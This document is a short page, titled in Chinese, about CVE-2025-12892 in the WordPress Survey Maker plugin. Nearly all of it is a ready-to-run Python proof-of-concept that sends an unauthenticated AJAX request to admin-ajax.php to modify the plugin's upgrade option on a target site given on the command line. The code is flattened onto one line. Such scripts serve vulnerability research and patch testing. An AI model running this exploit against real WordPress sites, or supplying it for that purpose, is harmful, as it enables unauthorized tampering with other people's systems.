CVE-2025-12892 WordPress Survey Maker插件未授权选项修改漏洞

import requests import sys # CVE-2025-12892 PoC - Survey Maker Plugin Unauthorized Option Modification # Target: WordPress site with Survey Maker plugin <= 5.1.9.4 # This PoC demonstrates how an unauthenticated attacker can modify plugin options def exploit_cve_2025_12892(target_url): """ Exploit function to modify ays_survey_maker_upgrade_plugin option """ # Construct the AJAX endpoint ajax_url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' # Payload to trigger deactivate_plugin_option function # The function is hooked to 'wp_ajax_ays_deactivate_survey_maker_plugin' action data = { 'action': 'ays_deactivate_survey_maker_plugin' } print(f'[*] Target: {target_url}') print(f'[*] Exploiting CVE-2025-12892...') print(f'[*] Sending request to: {ajax_url}') try: # Send unauthenticated POST request response = requests.post(ajax_url, data=data, timeout=10) print(f'[*] Response Status Code: {response.status_code}') print(f'[*] Response Body: {response.text[:200]}') if response.status_code == 200: print('[+] Request sent successfully') print('[+] The ays_survey_maker_upgrade_plugin option may have been modified') return True else: print('[-] Request failed or plugin may already be patched') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://example.com') sys.exit(1) target = sys.argv[1] exploit_cve_2025_12892(target)